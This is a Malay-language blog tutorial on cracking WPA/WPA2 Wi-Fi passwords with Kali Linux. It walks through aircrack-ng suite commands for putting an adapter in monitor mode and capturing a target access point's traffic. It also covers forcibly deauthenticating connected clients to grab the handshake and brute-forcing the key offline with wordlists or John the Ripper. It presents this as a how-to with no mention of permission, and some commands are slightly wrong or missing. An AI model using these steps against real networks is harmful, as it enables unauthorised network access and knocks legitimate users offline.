crack wpa/wpa2 password secara manual menggunakan Kali Linux

Hari ini aku ada masa sedikit jadi aku bercadang untuk membuat satu tutorial untuk crack wpa/wpa2 password secara manual.

Berikut ada lah cara-cara basic yang perlu korang tahu:
- Letakkan interface kepada monitor mode
- Cari wireless network yang diprotect oleh WPA2 dan Pre Shared Key
- Capture semua packet
- Tunggu sehingga client muncul dan deauthenticate client tu supaya kita dapat handshake
- Step terakhir, crack key atau password itu menggunakan dictionary atau John The Ripper.

Ok, didalam tutorial ini, aku menggunakan Wireless Adapter Alfa Awus036H bersama antenna 9dbi dan juga menggunakan Kali Linux.

Didalam OS aku menunjukkan adapter aku dikenali sebagai wlan0.
Pertama sekali, letakkan interface wlan0 kepada monitor mode:


Sekarang monitor mode kita dikenali sebagai mon0.
Mari kita cari wifi yang protected dengan WPA2 / PSK pula:
Gunakan command ini:
root@kali:~# airmon-ng mon0


Hentikan airodump-ng (tekan Ctrl C) dan run kan semula airodump-ng untuk kita fokus kepada satu Access Point (AP) atau target kita sahaja.
Gunakan command seperti ini:
root@kali:~# airodump-ng mon0 --channel 6 --bssid 00:11:22:33:44:55 -w /tmp/wpa2
Dimana :-
mon0 – mode monitor korang
--channel 6 – channel wifi target
--bssid – mac address router target
-w – path untuk disimpan .cap kita nanti.


Pada masa ini, korang boleh tunggu sehingga kita dapat 4-way handshake ataupun kita boleh deauthenticate client supaya kita dapat mempercepatkan process handshake tadi. Oleh kerana masa itu emas, jadi kita akan deauthenticate client untuk paksa dia reassociate. Kita akan memerlukan bssid AP (-a) dan mac address client yang connect ke AP tersebut (-c).
Gunakan command ini:
root@kali:~# aireplay-ng -0 1 -a 00:11:22:33:44:55 -c aa:bb:cc:dd:ee:ff mon0

Gambar diatas menunjukkan aku terpaksa deauthenticate 2 client supaya dapat handshake.

Sekarang kita dah dapat handshake:


Hentikan airodump-ng (tekan ctrl C) dan pastikan kesemua file telah di save kan.
root@kali:~# ls /tmp/wpa2*
-rw-r--r--1 root root 4678704 Jun1810:41 wpa2-01.cap
-rw-r--r--1 root root 788 Jun1910:41 wpa2-01.csv
-rw-r--r--1 root root 595 Jun1810:41 wpa2-01.kismet.csv
-rw-r--r--1 root root 5743Jun1910:41 wpa2-01.kismet.netxml
*Noted: nama file mungkin berlainan, korang kena tengok apa nama file yang disave tu.

Start dari point ni, kerja cracking semua adalah offline. Jadi korang boleh la keluar dating ke, minum kopi sambil tengok boboiboy ke. Cracking WPA adalah berdasarkan bruteforce, ini bermakna masa untuk diambil adalah amat panjang dan kesemua berdasarkan dicitonary yang ada. Lagi banyak wordlist lagi lama la nak siap.

Untuk option pertama, kita akan menggunakan wordlist.
Jika wordlist korang bernama word.txt dan berada di path /tmp/wordlist, run kan command seperti ini:
root@kali:~# aircrack-ng –w /tmp/wordlists/word.txt -b 00:11:22:33:44:55 /tmp/wpa2*.cap

Untuk option kedua pula adalah dengan menggunakan John The Ripper. Cara ini memang boleh berjaya tetapi memakan masa yang lama mungkin selama korang hidup pon belum tentu berjaya, Hahaha.
Korang boleh gunakan command seperti ini:
root@kali:~# john --stdout --incremental:all | aircrack-ng -b 00:11:22:33:44:55 -w - /tmp/wpa2*.cap

Sekian sahaja tutorial pada kali ini, selamat mencuba